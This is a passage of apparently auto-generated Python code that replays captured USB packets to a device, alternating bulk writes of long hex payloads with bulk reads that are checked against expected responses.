b\"\\x83\\xF5\\x7A\\xA8\\x8F\\x29\\xB2\\xFF\\xA2\\x1F\\x88\\x1C\\x25\\x4C\\x0E\\xC2\"\n b\"\\x90\\x14\\x07\\x93\\xF6\\x02\\x1E\\xED\\x51\\x8B\\x3D\\x49\\xF7\\xC9\\x66\\x21\"\n b\"\\x32\\x20\\xAE\\x84\\x08\\xFE\\x64\\xDE\\x9E\\xB9\\x8D\\xA2\\xEF\\x4F\\xB3\\x6F\"\n b\"\\xA0\\xDE\\xEB\\xF3\\xB3\\xAF\\x53\\xDF\\xB9\\x96\\x84\\x98\\xCB\\xEE\\x78\\x13\"\n b\"\\xF5\\xCF\\xC4\\xFD\\x7F\\x4D\\x32\\x72\\x16\\xF8\\xF2\\x9C\\x3A\\x89\\xBE\\x58\"\n b\"\\x89\\x91\\x83\\x0C\\x9D\\x19\\x22\\xE6\\xEE\\x49\\x16\\xD7\\x44\\xB0\\x65\\xF9\"\n b\"\\xB9\\x49\\x4F\\xC3\\xAE\\xC6\\x70\\xD3\\xE1\\x31\\x5F\\xDC\\x5C\\x2A\\x87\\x6A\"\n b\"\\x8F\\x44\\x78\\x23\\xC6\\xC0\\x6F\\xAC\\xC7\\xFA\\x28\\x0A\\xC7\\x6C\\xF5\\xF2\"\n b\"\\x23\\x98\\xC8\\x2D\\x89\\x5D\\x1C\\x24\\x31\\x44\\x41\\x7E\\xE2\\xD2\\xEE\\x3B\"\n b\"\\x1F\\x69\\x3D\\x28\\x88\\x7D\\x87\\x22\\xB4\\x2B\\xD9\\x9A\\xD4\\x1E\\xFA\\x03\"\n b\"\\x9E\\xDE\\x14\\x99\\x1A\\x12\\x79\\x8C\\x8D\\x3E\\x8F\\xA4\\xA4\\x16\\x7D\\x87\"\n b\"\\x8C\\xBC\\x8C\\x72\\xD6\\x1B\\x5F\\x60\\x1F\\x15\\x51\\x5C\\x11\\x5F\\xAC\\xB7\"\n b\"\\x10\\x1C\\xBB\\xAF\\x92\\x6E\\x35\\x1E\\x17\\xC6\\xA8\\xBA\\xA0\\x0D\\xA3\\xB4\"\n b\"\\x34\\x03\\x09\\xE0\\xDA\\xFC\\x53\\xA8\\x57\\xA1\\x9D\\xAA\\x6C\\xDE\\xEB\\xC5\"\n b\"\\x04\\xB7\\x12\\xDE\\xFD\\xF0\\x04\\xF1\\x66\\x74\\x33\\x93\\x2D\\xC1\\x5A\\x8F\"\n b\"\\xEA\\x40\\x5D\\xFA\\xB6\\x01\\x08\\xE3\\x24\\x31\\xF4\\x88\")\n # Generated from packet 3199/3200\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3199/3200\")\n # Generated from packet 3201/3202\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x3C\\x95\\xC7\\xB8\\x1C\\x00\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xE1\\xBF\\x7A\\x7C\\xA9\\xDE\\x3D\"\n b\"\\x6D\\x68\\x2D\\x86\\x04\\x39\\x75\\xFF\\x6D\\x85\\x4D\\xDD\\x44\\x56\\x19\\x98\"\n b\"\\xE1\\x3E\\xAA\\xA5\\xBC\\xFF\\x19\\x87\\x97\\xB4\\x74\\xF3\\xB8\\x3C\\x68\\x2A\"\n b\"\\x7F\\x6D\\x4F\\x7D\\x31\\x10\\xFD\\xFE\\x61\\xEC\\xA9\\xAD\\x60\\x27\\x27\\x82\"\n b\"\\xAB\\x4F\\xEC\\xE5\\x87\\x77\\xEF\\x0B\\x5D\\x88\\xB0\\x62\\x1D\\x94\\xB0\\x30\"\n b\"\\x08\\xFA\\x6F\\x8D\\xF4\\x5C\\xDF\\x0E\\x52\\x49\\xDF\\xC2\\x66\\xBE\\xD3\\x90\"\n b\"\\xFB\\x85\\xB8\\x46\\xDB\\x3D\\x18\\x61\\xA5\\x06\\x4A\\x15\\x4D\\x1C\\x3F\\x77\"\n b\"\\xD2\\x14\\xF6\\x49\\xDD\\x3B\\xE6\\x69\\xD5\\xD1\\x3D\\xA3\\x01\\xF5\\x76\\x7A\"\n b\"\\x1A\\x34\\xA7\\xC8\\xF7\\x5E\\x0D\\xD6\\x57\\x94\\x1F\\x02\\xFB\\x83\\xC3\\xEF\"\n b\"\\x8E\\xC3\\x97\\xCA\\x74\\xD1\\xC6\\x55\\x51\\xA5\\x77\\x3E\\xF5\\x2E\\xAE\\x60\"\n b\"\\xD9\\x56\\x9B\\xD7\\x9A\\xEF\\x92\\x7F\\xDE\\x03\\x74\\x87\\xB3\\x84\\xD5\\x12\"\n b\"\\xA6\\x7D\\xEA\\xF3\\x7F\\x4D\\x1B\\x9D\\xD1\\xCB\\x4C\\x68\\x85\\x70\\x44\\x8A\"\n b\"\\xD2\\xEE\\xDD\\x45\\x6D\\x2F\\x34\\x57\\xF9\\xA8\\x38\\x8B\\x31\\xFF\\x15\\xBD\"\n b\"\\x0B\\x1C\\x92\\xEE\\x8D\\xC2\\x27\\xB6\\x84\\x93\\x41\\xA0\\x9D\\xED\\xE6\\x29\"\n b\"\\xBE\\x49\\x40\\x6B\\xE5\\x21\\x85\\x82\\x2D\\x84\\xBF\\x5C\\xE7\\xDE\\x29\\x1B\"\n b\"\\x0E\\xA2\\x58\\xED\\x30\\x6F\\x17\\x7C\\x68\\xF3\\x04\\x0D\\xD0\\xDF\\x0E\\x34\"\n b\"\\x07\\x98\\x7C\\x4C\\xFB\\x13\\x42\\x6D\\x47\\xFD\\xC8\\xEF\")\n # Generated from packet 3203/3204\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3203/3204\")\n # Generated from packet 3205/3206\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x56\\x27\\xEC\\xD4\\x27\\x54\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x85\\x26\\x66\\x4B\\xF1\\x44\\x1C\\x3F\"\n b\"\\x93\\xDB\\x14\\xF6\\xAD\\xD4\\x3B\\xE6\\x8D\\xDC\\xD1\\x3D\\x47\\x08\\xF5\\x76\"\n b\"\\x9E\\x13\\x34\\xA7\\x2C\\xFE\\x5E\\x0D\\x32\\x5E\\x94\\x1F\\xE6\\xF2\\x83\\xC3\"\n b\"\\x0B\\x87\\xC3\\x97\\x2E\\x7D\\xD1\\xC6\\xB1\\x58\\xA5\\x77\\xDA\\xFC\\x2E\\xAE\"\n b\"\\x84\\xD0\\x56\\x9B\\x33\\x93\\xEF\\x92\\x9B\\xD7\\x03\\x74\\x63\\xBA\\x84\\xD5\"\n b\"\\xF6\\xAF\\x7D\\xEA\\x17\\x76\\x4D\\x1B\\x79\\xD8\\xCB\\x4C\\x8C\\x8C\\x70\\x44\"\n b\"\\x6E\\xDB\\xEE\\xDD\\xA1\\x64\\x2F\\x34\\xB3\\xF0\\xA8\\x38\\x6F\\x38\\xFF\\x15\"\n b\"\\x59\\x02\\x1C\\x92\\x0A\\x84\\xC2\\x27\\x52\\x8D\\x93\\x41\\x44\\x94\\xED\\xE6\"\n b\"\\xCD\\xB7\\x49\\x40\\x8F\\xEC\\x21\\x85\\x66\\x24\\x84\\xBF\\xB8\\xEE\\xDE\\x29\"\n b\"\\xFF\\x07\\xA2\\x58\\x09\\x39\\x6F\\x17\\x98\\x61\\xF3\\x04\\xE9\\xD9\\xDF\\x0E\"\n b\"\\xD0\\x0E\\x98\\x7C\\xA8\\xF2\\x13\\x42\\x89\\x4E\\xFD\\xC8\\x0B\\xB8\\x72\\xA1\"\n b\"\\xBE\\x78\\x9C\\x8D\\xCF\\x34\\x58\\x3E\\xD7\\x09\\x0C\\x2A\\x5F\\xA8\\xE6\\x59\"\n b\"\\x0F\\x9C\\xD7\\xF3\\xF6\\xEF\\xF9\\x0E\\x0F\\xC5\\xC3\\x19\\x80\\xFA\\xD3\\x56\"\n b\"\\x77\\xD5\\xDC\\xEB\\x6C\\x0D\\x6A\\x38\\x02\\xF2\\x23\\x71\\x86\\xE5\\xAC\\x70\"\n b\"\\xBC\\xA2\\x0A\\x70\\x2A\\x7F\\xF2\\x94\\xDE\\x42\\x2D\\x3E\\x1B\\x96\\x24\\x86\"\n b\"\\x02\\xCB\\x7E\\x55\\x94\\x64\\x3B\\xA8\\x2F\\xB7\\x28\\x3F\\x3B\\x0D\\x22\\x03\"\n b\"\\x6D\\x53\\x9A\\x63\\x58\\x70\\x03\\x29\\x98\\x9E\\x99\\xAD\")\n # Generated from packet 3207/3208\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3207/3208\")\n # Generated from packet 3209/3210\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x98\\x77\\xE2\\xC0\\x03\\x63\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0F\\x4B\\x17\\x5D\\xBF\\x62\\xD1\\x49\"\n b\"\\xBF\\xAE\\xE5\\xBE\\xB3\\xFC\\x78\\x85\\xD8\\x2A\\x58\\x3D\\x78\\x0D\\x26\\x06\"\n b\"\\x2A\\x79\\xCE\\x1C\\x5F\\x1B\\x51\\x14\\x96\\x25\\x5E\\x3B\\x86\\x05\\x56\\xD1\"\n b\"\\x5D\\xCF\\x82\\xF5\\x16\\x16\\x99\\x34\\xC7\\xA4\\x74\\x5E\\x6D\\xBA\\xD4\\x94\"\n b\"\\x7F\\x6E\\x78\\x83\\xA3\\x83\\x0D\\xC3\\xF7\\xA6\\xF7\\xD1\\xA6\\x39\\xD2\\xA5\"\n b\"\\x17\\x52\\x76\\x2E\\xCE\\x0C\\x5A\\x56\\xFB\\xBB\\x19\\xEF\\xF2\\x13\\x5D\\x03\"\n b\"\\x14\\xEB\\x30\\x84\\xB5\\x7E\\x25\\x7D\\x8A\\x9F\\xFC\\x4D\\x7B\\xF1\\x52\\xCB\"\n b\"\\x2C\\x04\\x06\\x70\\x24\\xE6\\x51\\xEE\\xBD\\x29\\xEE\\x2F\\x54\\x3B\\x7A\\xA8\"\n b\"\\x58\\xE7\\xB2\\xFF\\x75\\xD1\\x88\\x1C\\xF2\\x82\\x0E\\xC2\\x47\\xDA\\x07\\x93\"\n b\"\\x21\\xCC\\x1E\\xED\\x86\\x45\\x3D\\x49\\x20\\x07\\x66\\x21\\xE5\\xEE\\xAE\\x84\"\n b\"\\xDF\\x30\\x64\\xDE\\x49\\x77\\x8D\\xA2\\x38\\x81\\xB3\\x6F\\x77\\x10\\xEB\\xF3\"\n b\"\\x64\\x61\\x53\\xDF\\x6E\\x58\\x84\\x98\\x1C\\x20\\x78\\x13\\x22\\x01\\xC4\\xFD\"\n b\"\\xA8\\x83\\x32\\x72\\xC1\\x36\\xF2\\x9C\\xED\\x47\\xBE\\x58\\x5E\\x5F\\x83\\x0C\"\n b\"\\x4A\\xD7\\x22\\xE6\\x39\\x87\\x16\\xD7\\x93\\x7E\\x65\\xF9\\x6E\\x87\\x4F\\xC3\"\n b\"\\x79\\x08\\x70\\xD3\\x36\\xFF\\x5F\\xDC\\x8B\\xE4\\x87\\x6A\\x58\\x8A\\x78\\x23\"\n b\"\\x11\\x0E\\x6F\\xAC\\x10\\x34\\x28\\x0A\\x10\\xA2\\xF5\\xF2\\xF4\\x56\\xC8\\x2D\"\n b\"\\x5E\\x93\\x1C\\x24\\xE6\\x8A\\x41\\x7E\\x35\\x1C\\xEE\\x3B\")\n # Generated from packet 3211/3212\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3211/3212\")\n # Generated from packet 3213/3214\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xCA\\x86\\xF0\\xFC\\x28\\x08\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xC2\\x9D\\x79\\x99\\x67\\x3F\\xAA\\xA5\"\n b\"\\x3A\\xFE\\x19\\x87\\x11\\xB5\\x74\\xF3\\x3E\\x3D\\x68\\x2A\\xF9\\x6C\\x4F\\x7D\"\n b\"\\xB7\\x11\\xFD\\xFE\\xE7\\xED\\xA9\\xAD\\xE6\\x26\\x27\\x82\\x2D\\x4E\\xEC\\xE5\"\n b\"\\x01\\x76\\xEF\\x0B\\xDB\\x89\\xB0\\x62\\x9B\\x95\\xB0\\x30\\x8E\\xFB\\x6F\\x8D\"\n b\"\\x72\\x5D\\xDF\\x0E\\xD4\\x48\\xDF\\xC2\\xE0\\xBF\\xD3\\x90\\x7D\\x84\\xB8\\x46\"\n b\"\\x5D\\x3C\\x18\\x61\\x23\\x07\\x4A\\x15\\xCB\\x1D\\x3F\\x77\\x54\\x15\\xF6\\x49\"\n b\"\\x5B\\x3A\\xE6\\x69\\x53\\xD0\\x3D\\xA3\\x87\\xF4\\x76\\x7A\\x9C\\x35\\xA7\\xC8\"\n b\"\\x71\\x5F\\x0D\\xD6\\xD1\\x95\\x1F\\x02\\x7D\\x82\\xC3\\xEF\\x08\\xC2\\x97\\xCA\"\n b\"\\xF2\\xD0\\xC6\\x55\\xD7\\xA4\\x77\\x3E\\x73\\x2F\\xAE\\x60\\x5F\\x57\\x9B\\xD7\"\n b\"\\x1C\\xEE\\x92\\x7F\\x58\\x02\\x74\\x87\\x35\\x85\\xD5\\x12\\x20\\x7C\\xEA\\xF3\"\n b\"\\xF9\\x4C\\x1B\\x9D\\x57\\xCA\\x4C\\x68\\x03\\x71\\x44\\x8A\\x54\\xEF\\xDD\\x45\"\n b\"\\xEB\\x2E\\x34\\x57\\x7F\\xA9\\x38\\x8B\\xB7\\xFE\\x15\\xBD\\x8D\\x1D\\x92\\xEE\"\n b\"\\x0B\\xC3\\x27\\xB6\\x02\\x92\\x41\\xA0\\x1B\\xEC\\xE6\\x29\\x38\\x48\\x40\\x6B\"\n b\"\\x63\\x20\\x85\\x82\\xAB\\x85\\xBF\\x5C\\x61\\xDF\\x29\\x1B\\x88\\xA3\\x58\\xED\"\n b\"\\xB6\\x6E\\x17\\x7C\\xEE\\xF2\\x04\\x0D\\x56\\xDE\\x0E\\x34\\x81\\x99\\x7C\\x4C\"\n b\"\\x7D\\x12\\x42\\x6D\\xC1\\xFC\\xC8\\xEF\\x37\\x73\\xA1\\x5A\\xF7\\x9D\\x8D\\x2B\"\n b\"\\xBB\\x59\\x3E\\x33\\x86\\x0D\\x2A\\xBB\\x27\\xE7\\x59\\xEB\")\n # Generated from packet 3215/3216\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3215/3216\")\n # Generated from packet 3217/3218\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x04\\xD6\\xFE\\xE8\\x7F\\x0B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x09\\xE2\\x36\\xD0\\xD2\\xC2\\x82\\xF5\"\n b\"\\x99\\x1B\\x99\\x34\\x48\\xA9\\x74\\x5E\\xE2\\xB7\\xD4\\x94\\xF0\\x63\\x78\\x83\"\n b\"\\x2C\\x8E\\x0D\\xC3\\x78\\xAB\\xF7\\xD1\\x29\\x34\\xD2\\xA5\\x98\\x5F\\x76\\x2E\"\n b\"\\x41\\x01\\x5A\\x56\\x74\\xB6\\x19\\xEF\\x7D\\x1E\\x5D\\x03\\x9B\\xE6\\x30\\x84\"\n b\"\\x3A\\x73\\x25\\x7D\\x05\\x92\\xFC\\x4D\\xF4\\xFC\\x52\\xCB\\xA3\\x09\\x06\\x70\"\n b\"\\xAB\\xEB\\x51\\xEE\\x32\\x24\\xEE\\x2F\\xDB\\x36\\x7A\\xA8\\xD7\\xEA\\xB2\\xFF\"\n b\"\\xFA\\xDC\\x88\\x1C\\x7D\\x8F\\x0E\\xC2\\xC8\\xD7\\x07\\x93\\xAE\\xC1\\x1E\\xED\"\n b\"\\x09\\x48\\x3D\\x49\\xAF\\x0A\\x66\\x21\\x6A\\xE3\\xAE\\x84\\x50\\x3D\\x64\\xDE\"\n b\"\\xC6\\x7A\\x8D\\xA2\\xB7\\x8C\\xB3\\x6F\\xF8\\x1D\\xEB\\xF3\\xEB\\x6C\\x53\\xDF\"\n b\"\\xE1\\x55\\x84\\x98\\x93\\x2D\\x78\\x13\\xAD\\x0C\\xC4\\xFD\\x27\\x8E\\x32\\x72\"\n b\"\\x4E\\x3B\\xF2\\x9C\\x62\\x4A\\xBE\\x58\\xD1\\x52\\x83\\x0C\\xC5\\xDA\\x22\\xE6\"\n b\"\\xB6\\x8A\\x16\\xD7\\x1C\\x73\\x65\\xF9\\xE1\\x8A\\x4F\\xC3\\xF6\\x05\\x70\\xD3\"\n b\"\\xB9\\xF2\\x5F\\xDC\\x04\\xE9\\x87\\x6A\\xD7\\x87\\x78\\x23\\x9E\\x03\\x6F\\xAC\"\n b\"\\x9F\\x39\\x28\\x0A\\x9F\\xAF\\xF5\\xF2\\x7B\\x5B\\xC8\\x2D\\xD1\\x9E\\x1C\\x24\"\n b\"\\x69\\x87\\x41\\x7E\\xBA\\x11\\xEE\\x3B\\x47\\xAA\\x3D\\x28\\xD0\\xBE\\x87\\x22\"\n b\"\\xEC\\xE8\\xD9\\x9A\\x8C\\xDD\\xFA\\x03\\xC6\\x1D\\x14\\x99\\x42\\xD1\\x79\\x8C\"\n b\"\\xD5\\xFD\\x8F\\xA4\\xFC\\xD5\\x7D\\x87\\xD4\\x7F\\x8C\\x72\")\n # Generated from packet 3219/3220\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3219/3220\")\n # Generated from packet 3221/3222\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x1E\\xE2\\xA7\\x24\\x5D\\x31\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x96\\x8E\\xE2\\xF4\\xDD\\x5C\\x99\\x34\"\n b\"\\x0C\\xEE\\x74\\x5E\\xA6\\xF0\\xD4\\x94\\xB4\\x24\\x78\\x83\\x68\\xC9\\x0D\\xC3\"\n b\"\\x3C\\xEC\\xF7\\xD1\\x6D\\x73\\xD2\\xA5\\xDC\\x18\\x76\\x2E\\x05\\x46\\x5A\\x56\"\n b\"\\x30\\xF1\\x19\\xEF\\x39\\x59\\x5D\\x03\\xDF\\xA1\\x30\\x84\\x7E\\x34\\x25\\x7D\"\n b\"\\x41\\xD5\\xFC\\x4D\\xB0\\xBB\\x52\\xCB\\xE7\\x4E\\x06\\x70\\xEF\\xAC\\x51\\xEE\"\n b\"\\x76\\x63\\xEE\\x2F\\x9F\\x71\\x7A\\xA8\\x93\\xAD\\xB2\\xFF\\xBE\\x9B\\x88\\x1C\"\n b\"\\x39\\xC8\\x0E\\xC2\\x8C\\x90\\x07\\x93\\xEA\\x86\\x1E\\xED\\x4D\\x0F\\x3D\\x49\"\n b\"\\xEB\\x4D\\x66\\x21\\x2E\\xA4\\xAE\\x84\\x14\\x7A\\x64\\xDE\\x82\\x3D\\x8D\\xA2\"\n b\"\\xF3\\xCB\\xB3\\x6F\\xBC\\x5A\\xEB\\xF3\\xAF\\x2B\\x53\\xDF\\xA5\\x12\\x84\\x98\"\n b\"\\xD7\\x6A\\x78\\x13\\xE9\\x4B\\xC4\\xFD\\x63\\xC9\\x32\\x72\\x0A\\x7C\\xF2\\x9C\"\n b\"\\x26\\x0D\\xBE\\x58\\x95\\x15\\x83\\x0C\\x81\\x9D\\x22\\xE6\\xF2\\xCD\\x16\\xD7\"\n b\"\\x58\\x34\\x65\\xF9\\xA5\\xCD\\x4F\\xC3\\xB2\\x42\\x70\\xD3\\xFD\\xB5\\x5F\\xDC\"\n b\"\\x40\\xAE\\x87\\x6A\\x93\\xC0\\x78\\x23\\xDA\\x44\\x6F\\xAC\\xDB\\x7E\\x28\\x0A\"\n b\"\\xDB\\xE8\\xF5\\xF2\\x3F\\x1C\\xC8\\x2D\\x95\\xD9\\x1C\\x24\\x2D\\xC0\\x41\\x7E\"\n b\"\\xFE\\x56\\xEE\\x3B\\x03\\xED\\x3D\\x28\\x94\\xF9\\x87\\x22\\xA8\\xAF\\xD9\\x9A\"\n b\"\\xC8\\x9A\\xFA\\x03\\x82\\x5A\\x14\\x99\\x06\\x96\\x79\\x8C\\x91\\xBA\\x8F\\xA4\"\n b\"\\xB8\\x92\\x7D\\x87\\x90\\x38\\x8C\\x72\\xCA\\x9F\\x5F\\x60\")\n # Generated from packet 3223/3224\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3223/3224\")\n # Generated from packet 3225/3226\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xD0\\xB2\\xA9\\x30\\x89\\x57\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x83\\x3E\\x75\\xBC\\xB9\\xF6\\x92\\xEE\"\n b\"\\x3F\\x28\\x27\\xB6\\x36\\x79\\x41\\xA0\\x2F\\x07\\xE6\\x29\\x0C\\xA3\\x40\\x6B\"\n b\"\\x57\\xCB\\x85\\x82\\x9F\\x6E\\xBF\\x5C\\x55\\x34\\x29\\x1B\\xBC\\x48\\x58\\xED\"\n b\"\\x82\\x85\\x17\\x7C\\xDA\\x19\\x04\\x0D\\x62\\x35\\x0E\\x34\\xB5\\x72\\x7C\\x4C\"\n b\"\\x49\\xF9\\x42\\x6D\\xF5\\x17\\xC8\\xEF\\x03\\x98\\xA1\\x5A\\xC3\\x76\\x8D\\x2B\"\n b\"\\x8F\\xB2\\x3E\\x33\\xB2\\xE6\\x2A\\xBB\\x13\\x0C\\x59\\xEB\\x27\\x3D\\xF3\\x12\"\n b\"\\x54\\x13\\x0E\\xEB\\x7E\\x29\\x19\\x64\\x41\\x39\\x56\\x93\\x6E\\x36\\xEB\\x88\"\n b\"\\xB6\\x80\\x38\\xE6\\x49\\xC9\\x71\\x62\\x5E\\x46\\x70\\x58\\x19\\xE0\\x70\\xCE\"\n b\"\\xC4\\x18\\x94\\x3A\\xF9\\xC7\\x3E\\xFF\\x2D\\xCE\\x86\\xE6\\x70\\x94\\x55\\x70\"\n b\"\\xDF\\xD1\\xA8\\xCB\\x0C\\xC2\\x3F\\xDF\\xB6\\xC8\\x03\\x89\\xE8\\x70\\x63\\xBC\"\n b\"\\xCB\\xE9\\x29\\x7C\\x25\\x73\\xAD\\xB0\\x48\\x66\\x3A\\x9C\\xBE\\x4E\\x13\\xB4\"\n b\"\\x4C\\x6D\\x3B\\x1E\\xBD\\x98\\x61\\xB9\\x6E\\x8A\\xA8\\xB7\\x60\\xB6\\xA6\\xFD\"\n b\"\\x9D\\x5D\\xA7\\xBE\\x8A\\x45\\x25\\xCC\\x04\\xF4\\xA0\\x64\\x99\\x50\\x17\\xAF\"\n b\"\\x92\\x5E\\x83\\xA1\\x38\\x0A\\x6D\\x5E\\x62\\x42\\xE0\\x03\\xAC\\x40\\xDB\\x7C\"\n b\"\\xDA\\x2F\\xB3\\x15\\x23\\x34\\x4A\\x52\\x35\\x1B\\xD1\\xD6\\x02\\x79\\x9A\\x63\"\n b\"\\x6B\\x65\\x5D\\xE2\\x6C\\x10\\x01\\xA3\\x39\\x09\\x93\\x93\\xC5\\x62\\x6C\\x8A\"\n b\"\\x70\\x80\\xD8\\xDB\\x23\\xD4\\xAA\\x67\\x93\\xA3\\x0D\\xD3\")\n # Generated from packet 3227/3228\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3227/3228\")\n # Generated from packet 3229/3230\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x82\\x43\\xBB\\x0C\\x5F\\x67\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x54\\x9C\\x4C\\xF0\\x71\\x52\\xCB\"\n b\"\\xA7\\x84\\x06\\x70\\xAF\\x66\\x51\\xEE\\x36\\xA9\\xEE\\x2F\\xDF\\xBB\\x7A\\xA8\"\n b\"\\xD3\\x67\\xB2\\xFF\\xFE\\x51\\x88\\x1C\\x79\\x02\\x0E\\xC2\\xCC\\x5A\\x07\\x93\"\n b\"\\xAA\\x4C\\x1E\\xED\\x0D\\xC5\\x3D\\x49\\xAB\\x87\\x66\\x21\\x6E\\x6E\\xAE\\x84\"\n b\"\\x54\\xB0\\x64\\xDE\\xC2\\xF7\\x8D\\xA2\\xB3\\x01\\xB3\\x6F\\xFC\\x90\\xEB\\xF3\"\n b\"\\xEF\\xE1\\x53\\xDF\\xE5\\xD8\\x84\\x98\\x97\\xA0\\x78\\x13\\xA9\\x81\\xC4\\xFD\"\n b\"\\x23\\x03\\x32\\x72\\x4A\\xB6\\xF2\\x9C\\x66\\xC7\\xBE\\x58\\xD5\\xDF\\x83\\x0C\"\n b\"\\xC1\\x57\\x22\\xE6\\xB2\\x07\\x16\\xD7\\x18\\xFE\\x65\\xF9\\xE5\\x07\\x4F\\xC3\"\n b\"\\xF2\\x88\\x70\\xD3\\xBD\\x7F\\x5F\\xDC\\x00\\x64\\x87\\x6A\\xD3\\x0A\\x78\\x23\"\n b\"\\x9A\\x8E\\x6F\\xAC\\x9B\\xB4\\x28\\x0A\\x9B\\x22\\xF5\\xF2\\x7F\\xD6\\xC8\\x2D\"\n b\"\\xD5\\x13\\x1C\\x24\\x6D\\x0A\\x41\\x7E\\xBE\\x9C\\xEE\\x3B\\x43\\x27\\x3D\\x28\"\n b\"\\xD4\\x33\\x87\\x22\\xE8\\x65\\xD9\\x9A\\x88\\x50\\xFA\\x03\\xC2\\x90\\x14\\x99\"\n b\"\\x46\\x5C\\x79\\x8C\\xD1\\x70\\x8F\\xA4\\xF8\\x58\\x7D\\x87\\xD0\\xF2\\x8C\\x72\"\n b\"\\x8A\\x55\\x5F\\x60\\x43\\x5B\\x51\\x5C\\x4D\\x11\\xAC\\xB7\\x4C\\x52\\xBB\\xAF\"\n b\"\\xCE\\x20\\x35\\x1E\\x4B\\x88\\xA8\\xBA\\xFC\\x43\\xA3\\xB4\\x68\\x4D\\x09\\xE0\"\n b\"\\x86\\xB2\\x53\\xA8\\x0B\\xEF\\x9D\\xAA\\x30\\x90\\xEB\\xC5\\x58\\xF9\\x12\\xDE\"\n b\"\\xA1\\xBE\\x04\\xF1\\x3A\\x3A\\x33\\x93\\x71\\x8F\\x5A\\x8F\")\n # Generated from packet 3231/3232\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3231/3232\")\n # Generated from packet 3233/3234\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x4C\\x13\\xB5\\x18\\xB9\\x13\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x65\\xC2\\x2C\\x69\\x31\\x12\\x44\\x8A\"\n b\"\\x66\\x8C\\xDD\\x45\\xD9\\x4D\\x34\\x57\\x4D\\xCA\\x38\\x8B\\x85\\x9D\\x15\\xBD\"\n b\"\\xBF\\x7E\\x92\\xEE\\x39\\xA0\\x27\\xB6\\x30\\xF1\\x41\\xA0\\x29\\x8F\\xE6\\x29\"\n b\"\\x0A\\x2B\\x40\\x6B\\x51\\x43\\x85\\x82\\x99\\xE6\\xBF\\x5C\\x53\\xBC\\x29\\x1B\"\n b\"\\xBA\\xC0\\x58\\xED\\x84\\x0D\\x17\\x7C\\xDC\\x91\\x04\\x0D\\x64\\xBD\\x0E\\x34\"\n b\"\\xB3\\xFA\\x7C\\x4C\\x4F\\x71\\x42\\x6D\\xF3\\x9F\\xC8\\xEF\\x05\\x10\\xA1\\x5A\"\n b\"\\xC5\\xFE\\x8D\\x2B\\x89\\x3A\\x3E\\x33\\xB4\\x6E\\x2A\\xBB\\x15\\x84\\x59\\xEB\"\n b\"\\x21\\xB5\\xF3\\x12\\x52\\x9B\\x0E\\xEB\\x78\\xA1\\x19\\x64\\x47\\xB1\\x56\\x93\"\n b\"\\x68\\xBE\\xEB\\x88\\xB0\\x08\\x38\\xE6\\x4F\\x41\\x71\\x62\\x58\\xCE\\x70\\x58\"\n b\"\\x1F\\x68\\x70\\xCE\\xC2\\x90\\x94\\x3A\\xFF\\x4F\\x3E\\xFF\\x2B\\x46\\x86\\xE6\"\n b\"\\x76\\x1C\\x55\\x70\\xD9\\x59\\xA8\\xCB\\x0A\\x4A\\x3F\\xDF\\xB0\\x40\\x03\\x89\"\n b\"\\xEE\\xF8\\x63\\xBC\\xCD\\x61\\x29\\x7C\\x23\\xFB\\xAD\\xB0\\x4E\\xEE\\x3A\\x9C\"\n b\"\\xB8\\xC6\\x13\\xB4\\x4A\\xE5\\x3B\\x1E\\xBB\\x10\\x61\\xB9\\x68\\x02\\xA8\\xB7\"\n b\"\\x66\\x3E\\xA6\\xFD\\x9B\\xD5\\xA7\\xBE\\x8C\\xCD\\x25\\xCC\\x02\\x7C\\xA0\\x64\"\n 